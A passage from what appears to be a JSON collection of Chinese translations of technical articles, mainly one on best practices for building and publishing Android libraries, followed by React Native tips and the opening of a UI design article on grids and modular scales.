不要因为重复我的错误让它变的更加艰难. 如果你发现我的文章中的错误, 请在评论中告诉我. (不过垃圾评论不如不评论)如果你认为这个对萌新开发者是有用的, 分享这篇文章. 把他们(萌新开发者)从头痛中拯救出来.\n"
  },
  {
    "path": "TODO/things-i-wish-i-knew-when-i-started-building-android-sdk-libraries.md",
    "content": "> * 原文地址：[Things I wish I knew when I started building Android SDK/Libraries](https://android.jlelse.eu/things-i-wish-i-knew-when-i-started-building-android-sdk-libraries-dba1a524d619#.bw591tw8c)\n> * 原文作者：本文已获作者 [Nishant Srivastava](https://android.jlelse.eu/@nisrulz) 授权\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[jifaxu](https://github.com/jifaxu)\n> * 校对者：[BoilerYao](https://github.com/BoilerYao), [gaozp](https://github.com/gaozp)\n\n# 当发布安卓开源库时我希望知道的东西 #\n\n![](https://cdn-images-1.medium.com/max/1000/1*BfqwDsS3mt2pOslSQnFKCw.png)\n\n一切要从安卓开发者开发自己的“超酷炫应用”开始说起，他们中的大多数会在这个过程中遇到一系列问题，而他们中的一些人，会提出可能的解决方案。。\n\n事情是这样的，如果你和我一样认为这个问题足够重要，并且没有已知的解决方案，那么我将以模块化的方法抽象整个解决方案，这就是一个安卓库了。这样以后当我再次遇到这个问题时，我就可以很轻松的重用这个解决方案了了\n\n到目前为止一切都好。现在你有一个库了，也许只是拿来自用，或者你认为别人也会遇到这个问题，然后你对外发布了这个库（开源代码）。我相信（更确切的说看上去是这样）很多人认为这就算大功告成了。\n\n**错了！** 这一点是大多数人通常弄错的地方。你的安卓库将被一些不在你身边的开发者使用，他们只是想用你的库来解决同样的问题。你的库的 API 设计的越好，它被使用的概率就越大，因为它不会让使用者感到困惑。从一开始就应该明确的是，为了让他人顺利地开始使用这个库，你需要做些什么。\n\n**为什么会发生这种事？**\n\n开发者在第一次发布安卓库的时候通常不会注意 API 的设计，至少他们中的大多数都不会。倒不是因为漠不关心，而是因为他们都只是新手，又没有一个可以参考的 API 设计规范。之前我也陷入了同样的僵局，所以我可以理解找不到相关资料的沮丧。\n\n我刚好做了一个开源库（你可以在[这个地址](https://github.com/nisrulz/android-tips-tricks#extra--android-libraries-built-by-me)查看）所以有一些经验。我给出了一个对于每一个 Android API 库的开发者来说，都应该牢记的简要列表（它们中的一部分同样适用于通用的 API 设计）。\n\n> 需要注意的是，我的列表并不完善。它只包含了我遇到过并且希望在一开始就明确的一些问题，当我有了新的经验后我也会来更新这篇博客。\n\n在我们正式开始之前，个所有人在构建安卓库时都会面临的最基本问题，那就是：\n\n### **你为什么要创建一个安卓库？** ###\n\n![](https://cdn-images-1.medium.com/max/800/1*YKokr5q6sL-Cge6AVPBsyQ.gif)\n\n额……\n\n好吧，无论何时都不是非要创建一个库。在开始之前好好想想它能给你带来什么价值。问问自己下面几个问题：\n\n**有没有现成的解决方案？**\n\n如果你回答是有，那么考虑下使用已有的解决方案吧。\n\n如果现有方案无法完美解决你的问题，即使在这种情况下，最好也是从 fork 代码开始，修改它以解决你的问题。\n\n> 向现有的库中提交（Pull Request）你所做的修补，对你来说将是一个很好的加分点，同时也会让整个社区从中受益。\n\n如果你的回答是没有，那么就可以开始编写安卓库了。之后与世界分享你的成果以便别人也可以使用它。\n\n### 你的 artifact 有哪些打包方式 ###\n在开始之前，你需要决定以什么样的方式向开发者发布你的 artifact。\n\n让我在这里解释一下这篇博客中的一些概念。先解释下 **artifact**。\n\n> 在通用软件术语中，**artifact** 是在软件开发过程中产出的一些东西，可以是相关文档或者一个可执行文件。\n> 在 Maven 术语中，artifact 是编译的输出，`jar`, `war`, `arr` 或者别的可执行文件。\n\n让我们看下可选项\n\n- **Library Project**：你必须获取代码并链接到你的工程里。这是最灵活的方式，你可以修改它的代码，但也引入了与上游更改同步的问题。\n- **JAR**：Java Archive 是一个专门将很多 Java 类以及元数据放到一起的包文件。\n- **AAR**：Android Archive 类似于 JAR，但有些额外的功能。和 JAR 不同，**AAR** 可以存储安卓资源和 manifest 文件，这允许你分享诸如布局和 drawable 等资源文件。\n\n### 我们有了 artifact 了，然后呢？这些 artifact 应该放在哪里呢？ ###\n\n![](https://cdn-images-1.medium.com/max/600/1*09w_B5kEUXMrLH6Z786d5g.gif)\n\n开玩笑……\n\n你有好几种选择，每种都有优缺点。让我们一个一个看。\n\n#### 本地 ARR ####\n\n如果你不想将你的库提交到任何仓库里，你可以产生一个 `arr` 文件并直接使用它。阅读 [StackOverflow 上的一个回答](http://stackoverflow.com/a/28816265/2745762)学习如何实现。\n\n简单来说，将 arr 文件放到 libs 文件夹里（没有就创建），然后在 build.gradle 中添加如下代码：\n\n```\ndependencies {\n   compile(name:'nameOfYourAARFileWithoutExtension', ext:'aar')\n }\nrepositories{\n      flatDir{\n              dirs 'libs'\n       }\n }\n```\n\n随之而来的就是无论何时你想要分享你的安卓库时你都绕不过你的 `arr` 文件了（这可不是分享你的安卓库的好方式）。\n\n> **尽可能的避免这么做**，因为它容易引发很多问题，尤其是代码库的可管理性和可维护性。\n> 另一个问题是这种方式没办法保证你的用户使用的代码是最新的。\n> 更不用说整个过程漫长而且容易出现人为错误，而我们仅仅是往项目中添加一个库。\n\n### 本地/远程 Maven 仓库 ###\n\n**如果你只想给自己用这个安卓库该怎么做？** 解决办法是部署一个自己的 artifact 仓库（在[这里](http://jeroenmols.com/blog/2015/08/06/artifactory/)了解如何去做）或者使用 GitHub 或者 Bitbucket 作为你自己的 maven 库（在[这里](http://crushingcode.nisrulz.com/own-a-maven-repository-like-a-bosspart-1/)）。\n\n> 再次强调，**这只是用来发布自用包的方法。如果你想要与他人分享，那这不是你需要的方式**。\n\n这种方式的第一个问题是你的 artifact 是存放在私有仓库里的，为了让别人访问到你的库（library）你不得不给他们访问整个仓库（repository）的权限，这可能会导致安全问题。\n\n第二个问题是别人要想用你的库就得在他的 `build.gradle` 文件里加上额外的语句。\n\n```\nallprojects {\n\trepositories {\n\t\t...\n\t\tmaven { url '\n\t\thttp://url.to_your_hosted_artifactory_instance.maven_repository' }\n\t}\n}\n```\n\n说实话这样比较麻烦，而我们都希望事情简单一点。这种方式在发布安卓库的时候比较迅速但是为别人的使用增加了额外步骤。\n\n### Maven Central, Jcenter 或 JitPack ###\n\n现在最简单的发布方式是通过 **JitPack**，你可能会想去试试。JitPack 从你的公开 git 仓库中拉取代码，check out 最新的 release 代码，编译并生成 artifact，最后将它发布到它自己的 maven 库中。\n\n但是它和 local/remote 仓库存在同样的问题，要使用的话必须在根 `build.gradle` 中添加额外内容。\n\n```\nallprojects {\n\trepositories {\n\t\t...\n\t\tmaven { url 'https://www.jitpack.io' }\n\t}\n}\n```\n\n你可以从[这儿](http://crushingcode.co/publish-your-android-library-via-jitpack/)了解该如何发布你的安卓库至 JitPack。\n\n另一个选择就是 **Maven Central** 或者 **Jcenter**。 \n\n**我个人建议你使用 Jcenter**，因为它有着完善的文档和良好的管理，同时它也是安卓项目的默认仓库（除非谁改了默认选项）。\n\n如果你发布到 Jcenter，bintray 公司提供将库同步到 Maven Central 的选项。一旦成功发布到 Jcenter 上，在 `build.gradle` 中加上如下代码就可以很方便的使用了。\n\n```\ndependencies {\n      compile 'com.github.nisrulz:awesomelib:1.0'\n  }\n```\n\n你可以在[这儿](http://crushingcode.co/publish-your-android-library-via-jcenter/)了解如何发布你的安卓库至 Jcenter。\n\n基础的东西说完了，现在让我们来讨论一下在编写安卓库的时候需要注意的问题。\n\n### 避免多参数 ###\n\n每个安卓库通常都需要用一些参数来进行初始化，为了达到这个目的，你可能会在构造函数或者新建一个 init 方法来接受这些参数。这么做的时候请考虑以下问题\n\n**向 init() 方法传递超过 2-3 个参数会让使用者感到头大。** 因为很难记住每个参数的用处和顺序，这也为将 int 型数据传给了 String 类型的参数之类的错误埋下了隐患。\n\n```\n// 不要这么做\nvoid init(String apikey, int refresh, long interval, String type);\n\n// 这样做\nvoid init(ApiSecret apisecret);\n```\n\n`ApiSecret` 是一个实体类，定义如下\n\n```\npublic class ApiSecret {\n    String apikey;\n    int refresh;\n    long interval;\n    String type;\n\n    // constructor\n\n    /* you can define proper checks(such as type safety) and\n     * conditions to validate data before it gets set\n     */\n\n    // setter and getters\n}\n```\n\n**或者**你可以使用 `建造者模式`。\n\n你可以阅读这篇[文章](https://sourcemaking.com/design_patterns/builder)以了解更多建造者模式的知识。[JOSE LUIS ORDIALES](https://jlordiales.me/about/) 在[这篇文章](https://jlordiales.me/2012/12/13/the-builder-pattern-in-practice/)里深入讨论了该如何在你的代码中实现建造者模式。\n\n### 易用性 ###\n\n当构建你的安卓库时，请关注库的易用性和暴露出的方法，它们应该具有以下特点：\n\n- **符合直观**\n\n安卓库中的代码做了些什么都应该以某种形式反馈给使用者，可以是日志输出，也可以是视图的变化，这根据库的类型来决定。如果它做了一些难以理解的事，那么对开发者来说这个库就没有起作用。你的代码应该按照使用者想的那样来工作，即使使用者没有查看文档。\n\n- **一致性**\n\n代码应该易于理解，同时避免在版本迭代的过程中发生剧烈的变化。遵循 [**sematic versioning**](http://semver.org/)。\n\n- **易于使用，难以误用**\n\n就实现与首次使用而言，它应该是易于理解的。暴露给用户的方法应该经过充分的检查以保证用户只会用它干它应该做的事情，避免方法被用户错误使用。在某些需要用到的东西不存在的时候，提供合理的默认设置和处理方案。公开的方法应该经过充分的检查以保证用户不会。\n\n简而言之\n\n![](https://cdn-images-1.medium.com/max/800/1*iBMPbaVozZmJkkp-kisr7g.gif)\n\n简单。\n\n### 最小化权限 ###\n\n在每个开发者都在向用户申请很多的权限时，你得停下来想一想你是不是真的需要这些额外的权限。这一点尤其需要注意。\n\n- 尽可能的请求更少的权限。\n- 使用 **Intent** 让专用程序为你工作并返回结果。\n- 基于你获得的权限启用你的功能。避免因为权限不足导致的崩溃。可以的话，在请求权限之前先让用户知道你为什么需要这些权限。尽量在没有获得权限的时候进行功能回退。\n\n通过如下方式检查是否具有某个权限。\n\n```\npublic boolean hasPermission(Context context, String permission) {\n  int result = context.checkCallingOrSelfPermission(permission);\n  return result == PackageManager.PERMISSION_GRANTED;\n}\n```\n\n有些开发者可能会说他是真的需要某个特定权限，在这种情况下该怎么办呢？库代码应该对所有需要这个功能的应用是通用的。如果你需要某个危险权限来获取某些数据，而这些数据是库的使用者可以提供的，那么你就应该提供一个方法来接收这些数据。这种时候你就不应该强迫开发者去申请他不想申请的权限了。当没有权限时，提供功能回退（无法达到但是尽量接近预期效果）的实现。\n\n\n```\n/* Requiring GET_ACCOUNTS permission (as a requisite to use the\n * library) is avoided here by providing a function which lets the\n * devs to get it on their own and feed it to a function in the\n * library.\n */\n\nMyAwesomeLibrary.getEmail(\"username@emailprovider.com\");\n```\n\n### 最小化条件 ###\n\n现在，我们有一个功能需要设备具有某种特性。通常我们会在 manifest 文件中进行如下定义\n\n```\n<uses-feature android:name=\"android.hardware.bluetooth\" />\n```\n\n当你在安卓库代码中这么写的时候问题就来了，它会在构建的过程中与应用的 manifest 文件合并，并导致那些没有蓝牙功能的设备无法从 Play 商店中下载它。这样会导致之前对大部分用户可见的 app 此时却仅仅对一部分用户可见，就只是因为引用了你的库。\n\n这可不是我们想要的。所以我们得解决它。不要在 manifest 文件中写 **uses-feature**，在运行时检查是否有这个功能\n\n```\nString feature = PackageManager.FEATURE_BLUETOOTH;\npublic boolean isFeatureAvailable(Context context, String feature) {\n return context.getPackageManager().hasSystemFeature(feature);\n}\n```\n\n这种方式就不会引起 Play 商店的过滤。\n\n**作为一个额外功能提供**是当这个功能不可用时在库代码中不去调用相关方法或者使用替代的回调方法。这对于库的开发者和使用者来说是一种双赢的局面。\n\n### 多版本支持 ###\n\n![](https://cdn-images-1.medium.com/max/1600/1*7Lh4ChOmBQ5A9fJ0vP2e1Q.gif)\n\n现在到底有多少种版本？\n\n如果你的库中存在只能在特定版本中运行的代码，你应该在低版本的设备中禁用这些代码。\n\n一般的做法是通过定义 `minSdkVersion` 和 `targetSdkVersion` 来指定支持版本。你应在在代码中检查版本，来决定是否启动某个功能，或者提供回退。\n\n```\n// Method to check if the Android Version on device is greater than or equal to Marshmallow.\npublic boolean isMarshmallow(){\n    return Build.VERSION.SDK_INT>= Build.VERSION_CODES.M;\n}\n```\n\n### 不要在正式版中输出日志 ###\n\n![](https://cdn-images-1.medium.com/max/1200/1*78Ghqzo3iMUnaYjNcuu1xw.gif)\n\n**就是不要这么做。**\n\n几乎每次被要求去测试一个应用或者 Android Library 工程时我都会发现他们把所有在日志里输出了所有东西，这可是发布版啊。（译注：在正式版中打印日志是不必要的，可能影响性能，还可能带来安全问题）\n\n根据经验，永远不要在正式版中输出日志。你应该配合使用 [**build-variants**](https://developer.android.com/studio/build/build-variants.html) 和 [**timber**](https://github.com/JakeWharton/timber) 来实现发布版和调试版中的不同日志输出。一个更简单的解决方案是提供一个 `debuggable` 标志位来让开发者设置以开关安卓库中的日志输出。\n\n```\n// In code\nboolean debuggable = false;\nMyAwesomeLibrary.init(apisecret,debuggable);\n\n// In build.gradle\ndebuggable = true\n```\n\n### 发生错误的时候让使用者知道 ###\n\n![](https://cdn-images-1.medium.com/max/600/1*71OXRYnUcGsgX-Ut5aPK6A.png)\n\n经常有开发者不在日志里输出错误和异常信息，我遇到过很多次这种情况。这让安卓库的使用者在调试的过程中感到十分的头疼。虽然上面说了不要在发布版中输出日志，但是你得理解无论是在**发布版**还是**调试版**中错误和异常信息都需要输出。如果你真的不愿意在发布版中输出，至少在初始化的时候提供一个方法来让使用者启用日志。\n\n```\nvoid init(ApiSecret apisecret,boolean debuggable){\n      ...\n      try{\n        ...\n      }catch(Exception ex){\n        if(debuggable){\n          // This is printed only when debuggable is true\n          ex.printStackTrace();\n        }\n      }\n      ....\n}\n```\n\n当你的安卓库崩溃的时候要立刻向用户显示异常，而不是挂起并做一些处理。避免写一些会阻塞主进程的代码。\n\n### 当发生错误时及时退出并禁用功能 ###\n\n我的意思是当你的代码挂掉后，尝试进行检查和处理，从而使这些有问题的代码仅仅会导致你提供的库中的一些功能被禁用而不是让整个APP崩溃。\n\n### 捕获特定的异常 ###\n\n接上一条建议，你可以看到上面那段代码里我使用了 try-catch 语句。Catch 语句只是简单的捕获了所有的 `Exception` 。一个异常与另一个异常之间并没有什么太大的区别。因此，必须要根据手头的需求捕获特定类型的异常。比如：`NULLPointerException`, `SocketTimeoutException`, `IOException` 等等。\n\n### 对网络状况差的情况进行处理 ###\n\n![](https://cdn-images-1.medium.com/max/800/1*I_Cs9YSx0ZbTVUWSwF6YCA.gif)\n\n这很重要，严肃点！\n\n如果你的安卓库需要进行网络请求，一个很容易忽视的情况就是网速较慢或者请求无相应。\n\n据我观察，开发者总会假设网络畅通。举个例子吧，你的安卓库需要从服务器上获取配置文件来进行初始化。如果你忽略了在网络状态差的时候没法下载配置文件，那么你的代码就可能因为获取不了配置文件而崩溃。如果你进行了网络状态检查并进行处理，那么就能为你的库的使用者省很多事。\n\n尽可能的批量处理你的网络请求，避免多次请求。这能够[节省很多电量](https://developer.android.com/training/monitoring-device-state/index.html)，再看下[这个](https://developer.android.com/training/efficient-downloads/efficient-network-access.html)。\n\n通过将 *JSON* 与 *XML* 转成 [***Flatbuffers***](https://google.github.io/flatbuffers/) 来节省数据传输量。\n\n[阅读更多有关网络管理的知识](https://developer.android.com/topic/performance/power/network/index.html)。\n\n### 避免将大型库作为依赖 ###\n\n这一点不需要太多的解释。就像安卓开发者都知道的那样，一个安卓应用最多只能有 65k 方法。如果你依赖了一个大型的库，那么会对使用你的库的应用带来两个不期望的影响。\n\n1. 你会让应用的方法数将会大大增加，即使你的库只有很少一些方法，但是你依赖的库中的方法也被算上了。\n2. 如果因为引入你的库而导致方法数达到了 65k，那么应用开发者不得不去使用 multi-dex。相信我，没人想用 multi-dex 的。\n   在这种情况下，为了解决一个问题你引入了一个更大的问题，你的库的使用者将会转而去使用别的库。\n\n### 避免引用不是必需的库 ###\n\n我觉得这应该时一条大家都知道的规则了，是不是？不要让你的安卓库因为引入了不需要的库而膨胀。但是需要注意的是即使你需要依赖，让你的用户传递性地下载这些依赖（因为用了你的库而不得不去下载另一个库）。比如，那些没有和你的库绑定的依赖。\n**那么现在的问题就是如果没有和我们的库绑定那么我们如何去使用它？**\n\n答案很简单，要求用户在编译的时候提供你需要的依赖。可能不是每个用户都需要这个依赖提供的方法，对于这些用户来说，如果你找不到这些依赖，你只需要禁用某些方法就行了。对于那些需要的用户，它们会在 `build.gradle` 提供依赖。\n\n#### **如何实现它？** 检查 classpath ####\n\n```\nprivate boolean hasOKHttpOnClasspath() {\n   try {\n       Class.forName(\"com.squareup.okhttp3.OkHttpClient\");\n       return true;\n   } catch (ClassNotFoundException ex) {\n       ex.printStackTrace();\n   }\n   return false;\n}\n```\n\n接下来，你可以使用 `provided`(Gradle v2.12 或更低)或者 `compileOnly`(Gradle v2.12+)（[阅读完整内容](https://blog.gradle.org/introducing-compile-only-dependencies)），以便在编译时获取依赖库内定义的类。\n\n```\ndependencies {\n   // for gradle version 2.12 and below\n   provided 'com.squareup.okhttp3:okhttp:3.6.0'\n\n   // or for gradle version 2.12+\n   compileOnly 'com.squareup.okhttp3:okhttp:3.6.0'\n\n}\n```\n\n> 还有要注意的是，只有当依赖是单纯的 Java 依赖的时候你才能使用这种控制依赖的方法。比如，如果你在编译时引入安卓库，你就没法引用它的依赖库或者资源文件，这些都必须在编译前被加入。只有依赖是一个纯 Java 依赖（仅仅由 Java 类组成）时，才可以通过在编译的过程中加入 ClassPath 来使用。\n\n### 不要阻塞启动过程 ###\n\n![](https://cdn-images-1.medium.com/max/1200/1*78Ghqzo3iMUnaYjNcuu1xw.gif)\n\n没开玩笑\n\n我指的不要应用一启动就立刻初始化你的安卓库。这么做会降低应用的启动速度，即使应用什么都没做就只是初始化了你的库。\n\n解决办法是不要在主线程里进行初始化工作，可以新建一个线程，更好的办法是使用 `Executors.newSingleThreadExecutor()` 让线程数量保持唯一。\n\n另一个解决办法是**根据需要**初始化你的安卓库，比如只有在使用到的时候加载/初始化它们。\n\n### 优雅地移除方法和功能 ###\n\n不要在版本迭代的过程中移除 `public` 方法，这会导致使用你的库的应用无法使用，而开发者并不知道什么导致了这个问题。\n\n解决方案：使用 `@Deprecated` 来标注方法并给出在未来版本的弃用计划。\n\n### 使你的代码可测试 ###\n\n确定你的代码里有测试实例，这不是一个规则，而是一个常识，你应该在你的每一个应用和库中这么做。\n\n使用 Mock 来测试你的代码，避免 final 类，不要有静态方法等等。\n\n基于接口编写你的 public  API 使你的安卓库能交换实现，反过来让你的代码可测试，比如，在测试的时候，你可以很容易地提供 mock 实现。\n\n### 为每一个东西编写文档 ###\n\n![](https://cdn-images-1.medium.com/max/800/1*Qtged_3sWzcWmRstgkTGJQ.gif)\n\n作为安卓库的创建者你很了解你的代码，但是使用者不会很了解，除非你让他们去阅读你的代码（而你永远也不应该这么做）。\n\n编写文档，包括使用时的每个细节，你实现的每个功能。\n\n1. 创建一个 `Readme.md` 文件并将其放在库的根目录下。\n2. 为代码里所有 `public` 写 `javadoc`注释。它们应该包括\n- `public` 方法的目的\n- `传入的参数`\n- `返回的数据`\n3. 提供一个示例应用来演示这个库的功能以及如何使用。\n4. 确定你有一个详细的修改日志。放在 `release` 记录里的特殊的版本 tag 里都比较合适。\n\n![](https://cdn-images-1.medium.com/max/800/1*7cIRxmPZLxOzoR6sMYDXJQ.jpeg)\n\nGitHub 里 Sensey 库的 Release 部分截图\n\n这是 [*Sensey*](https://github.com/nisrulz/sensey) 的 [**release 链接**](https://github.com/nisrulz/sensey/releases)\n\n### 提供一个极简的示例应用 ###\n\n这都不用说了。始终提供一个最简洁的示例程序，这是开发者在学习使用你的库的过程中接触的第一个东西。它越简单就越好理解。让这个程序看起来花哨或者把示例代码写得很复杂只会背离它最初的目的，它只是一个如何使用库的例子。\n\n### 考虑加一个 License ###\n\n很多时候开发者都忘了 License 这部分。这是别人决定要不要采纳你的库的一个因素。\n\n如果你决定使用一种带限制的协议，比如 GRL，这意味着无论谁只要修改了你的代码那他必须要将修改提交到你的代码库中。这样的限制阻碍了安卓库的使用，开发者倾向于避免使用这样的代码库。\n\n解决办法是使用诸如 MIT 或者 Apache 2 这样更为开放的协议。\n\n在这个[简单的网站](https://choosealicense.com/)阅读有关协议的知识，以及关于你的[代码需要的 copyright](http://jeroenmols.com/blog/2016/08/03/copyright/)。\n\n### 最后，获取反馈 ###\n\n![](https://cdn-images-1.medium.com/max/600/1*Yqf4olqT9Xsrk_ApAk-uiA.gif)\n\n是的，你听到了！\n\n起初，你的安卓库是用来满足自己的需求的。一旦你发布出去让别人用，你将会发现大量的问题。从你的库的使用者那里听取意见收集反馈。基于这些意见在保持原有目的不变的情况下考虑增加新的功能和修复一些问题。\n\n### 总结 ###\n\n简而言之，你需要在编码过程中注意以下几点\n\n- 避免多参数\n- 易用\n- 最小化权限\n- 最小化前置条件\n- 多版本支持\n- 不要在发布版中打印日志\n- 在崩溃的时候给使用者反馈\n- 当发生错误时及时退出并禁用功能\n- 捕获特定异常\n- 处理网络不良的情况\n- 避免依赖大型库\n- 除非特别需要，不要引入依赖\n- 避免阻塞启动过程\n- 优雅地移除功能和特性\n- 让代码可测试\n- 完善的文档\n- 提供极简的示例应用\n- 考虑加个协议\n- 获取反馈\n\n#### 根据经验，你的库应该依照 SPOIL 原则 ####\n\n简单（**S**imple）—— 简洁而清晰的表达\n\n目的（**P**urposeful）—— 解决问题\n\n开源（**O**penSource）—— 自由访问，免费协议\n\n习惯（**I**diamatic）—— 符合正常使用习惯\n\n逻辑（**L**ogical) —— 清晰有理\n\n> 我在曾经某个时候从某位作者的演示里看到这个，但我想不起来他是谁了。因为它很有意义并以很简洁的方式提供了图片所以当时我记了笔记。如果你知道他是谁，在下面评论，我会将他的链接加上。\n\n### 最后的思考 ###\n\n我希望这篇博客给那些正在开发更好的安卓库的开发者们带来帮助。安卓社区从开发者每天发布的库中获得了很大的益处。如果每个人都开始注意他们 API 设计，学会为用户（其他的安卓开发者）考虑，我们将会迎来一个更好的生态。\n\n这个教程是基于我开发安卓库的经验。我很想知道你关于这些观点的意见。欢迎留下评论。\n\n如果你有什么建议或者想让我加一些内容，请让我知道。\n\nTill then keep crushing code 🤓\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/things-i-wish-i-were-told-about-react-native.md",
    "content": "> * 原文链接 : [Things I Wish I Were Told About React Native](http://ruoyusun.com/2015/11/01/things-i-wish-i-were-told-about-react-native.html)\n* 原文作者 : [Ruoyu Sun](https://twitter.com/insraq)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [huanglizhuo](https://github.com/huanglizhuo) \n* 校对者: [Void Main](https://github.com/void-main)  [aleen42](https://github.com/aleen42) \n* 状态 :  翻译结束\n\n## No. 1 读文档（一定要读）\n  1   我之所以把它列在第一位是因为这真的是最节省时间的一条。等你真正读了文档，尤其是[\"指导\"](https://facebook.github.io/react-native/docs/style.html#content)这节，那么我相信你应该会对下面的大部分建议有所了解。但人们更愿意通过实践学习而不是读文档-我之前也是这样做的。我浪费的大把的时间在下面的事情上，而不是读文档。因此我希望这篇文章可以节约你不少的时间。\n\n## No. 2 检出并运行 UIExplorer  项目\n\n  React Native 文档没有快速演示（由于框架本生原因）或者是 UI 组件和 API 的截图。因此弄清楚每个组件具体的样子和功能有些困难。这就是他们为什么提供了这个非常有用的 [UIExplorer Project](https://github.com/facebook/react-native/tree/master/Examples/UIExplorer)项目。它真的可以节省你很多猜测和尝试的时间。\n\n## NO. 3 选择合适的导航组件\n\n  我不得不承认我浪费了大量的时间在把我的代码从`NavigatorOS` 和  `Navigator` 之间来回切换 。事实React Native 提供了相当 [ 详细的对比](https://facebook.github.io/react-native/docs/navigator-comparison.html) ,当然在我把时间浪费之前我也没读过它。简而言之就是 NavigatorOS 更像原生的组件，但提供了有限的 API 并且 bug 比较多。\n\n## No. 4 你的代码不是运行在 nodejs 上的\n\n  你的 javascript 运行时要么是 JavaScriptCore（不支持 dubug） 要么是 V8 （可以 dbug）。尽管，你使用 NPM 并且有一个 node 服务 在后台运行，但你的代码并不是真正运行在 nodejs 上的。因此是不可以使用 NodeJs 包的。一个典型的例子就是`jsonwebtoken`，它用了 NodeJs 的 crypto 模块。\n\n## No. 5 推送通知很不靠谱\n\n  在 React Native 中推送通知很不靠谱。这项特性是在 0.13 版上是能有效使用的，但你得在你的 Xcode 工程中配置好你的项目（添加库，添加头文件等等）。官方文档相当简要。在 0.12 版或者之前的版本中甚至对后来的 IOS  版本不支持。你需要自己打补丁来实现。这篇[文章](https://medium.com/@DannyvanderJagt/how-to-use-push-notifications-in-react-native-41e8b14aadae#.66tv809um)相当有用。\n\n## No. 6 静态图片暂时只支持 PNG 格式\n\t\n\t这样的要求是简单易懂的，但想要明白个中缘由，绝非易事。直到最近的[文档](https://facebook.github.io/react-native/docs/image.html)中才提及这点。浪费了我好多时间。\n  \n  Modal 构件是专门为混合 React Native 框架和 Native 应用而度身定做的。因此，很多 React Native 框架下的构件都不能与Modal兼容使用。PickerIOS无法渲染的问题。\n\n## No. 7 读源码\n\n  React Native 发展的很快,以至于文档过（包括这篇文章）很快就失去参考价值了。许多的特性（比如[键盘事件](https://github.com/facebook/react-native/blob/master/React/Base/RCTKeyboardObserver.m),`EventEmitter`以及`Subscribable`) 都没有写在文档里。因此，为了更清楚如何完成属于自己的构件，你必须事先通过阅读源码来了解 React 是怎样实现的。\n## No. 8 学习Objective C\n\n  迟早你会用到 Objective C 的。对于任何优秀的app，写原生模块和组件都是不可避免的。因此，至少你得能读懂 Objective C 代码。我知道这可能有些吓人，但一旦你习惯了它的语法就好了。\n\n\n"
  },
  {
    "path": "TODO/think-less-design-better.md",
    "content": "> * 原文地址：[Think Less. Design Better.](https://medium.com/@xtianmiller/think-less-design-better-f812c1617888)\n* 原文作者：[Christian Miller](https://medium.com/@xtianmiller)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[Siegen](https://github.com/siegeout)\n* 校对者：[jiaowoyongqi](https://github.com/jiaowoyongqi),[Newton](https://github.com/Newt0n)                                           \n\n# 顾虑越少，设计越好。\n\n<blockquote>在设计过程中，存在的可能性越多，需要进行的思考就越多。</blockquote>\n\n\n美国心理学家 Barry Schwartz 在 [The Paradox Of Choice](https://en.wikipedia.org/wiki/The_Paradox_of_Choice) 这本书中写到，排除一些选择可以大幅度的减少焦虑。\n> **最优解不是成为一个完美主义者，而是让最为人所赞同的决定变得可行，这可以让我们共同创造出最佳体验。**\n\n\n* * *\n\n\n\n### 1\\. 限制变量\n\n\n为了制作出高度精确的概念，如果我们要考虑所有潜在的变量，那将会有很多，而如果我们在早期就限制和定义这些变量，制作过程会变得很明朗。\n\n\n\n> 有了这个经验，限定某些变量组之后，我们预测在创造过程中如何产生几倍的效果变得更加简单了。 \n\n减少选择不会导致独创性的减少。我们假设把围绕预先制定好的规则来创造概念作为一个限制，但是作为设计者我们可以创建我们自己的规则，完全掌控创造它们的过程。\n\n\n#### 尺寸与间距\n\n\n\n\n\n\nUI 设计的每个方面都需要围绕一个系统进行，以此来改善节奏感并在一个项目成长的时候帮助保持尺寸与间距的一致性。一个我爱用的像这样的系统是   [modular scale](http://www.modularscale.com/),它可以使制定尺寸变得便利它可以通过任意指定比列来测量、设定某个元素或者某个整体中负空间的尺寸。\n\n\n\n\n![](http://ac-Myg6wSTV.clouddn.com/606ead6ffa394a345f2f.jpeg)\n\n\n\n\n\n\n\n\n\n\n\n一旦我们采用了某个比例，modular scale 会使得定义尺寸和间距变得更加简单。\n\n尽管它可以在栅格，排版，垂直空间以及一个布局的综合方面减少变量，来使这个设计达到一个易操作的层次，但是它也提供了令人愉悦的美感和韵律。设计 UI 相当容易。\n\n\n\n####  栅格\n\n\n\n[栅格系统](https://en.wikipedia.org/wiki/Grid_%28graphic_design%29)是一个绝佳的设计方法，当把内容实现成具体的 UI 界面的时候，它不仅可以对页面内容组织的方式加以限制，还可以简化实现方式。但是，栅格经常被不加思考的采用，变成了一个被当作万金油的方案。大多数设计师都没有意识到，相对于使用万金油方案，专门设计一款[适用于你产品](http://www.iamtomnewton.com/blog/grid-guide/)的栅格系统会是更好的一个方案。\n\n\n![](http://ac-Myg6wSTV.clouddn.com/013c2d0de9ed5e3a9947.jpeg)\n\n\n\n\n\n\n栅格系统可以减少影响布局的变量。\n\n这意味着理想情况下应该提前对内容的大致情况有一个清晰的了解，以便于思考如何设计出最适合于特定内容的栅格系统。根据预存的资源和品牌指南来考虑商业限制，例如一个拥有具体空间规则和要求的 logo，或者可能是有着具体的固定单元的广告。\n\n\n\n内容的类型也是一个因素。设计时还需要考虑到内容的不同类型，如商品包装、新闻出版物、博客或者是简单的引导页，它们之间的差异十分之大。要考虑到布局是以图片为主还是以文字为主。要理解 [eye-scanning patterns](http://www.webdesignerdepot.com/2015/03/how-eye-scanning-impacts-visual-hierarchy-in-ux-design/)  和它们是如何对一个视觉层次产生作用，这会对设计很有帮助，\n\n\n\n对商业和内容的重要限制理解的越深刻，采用栅格系统并作出布局决定就越容易。\n\n\n\n#### 字体\n\n我觉得字体是 UI 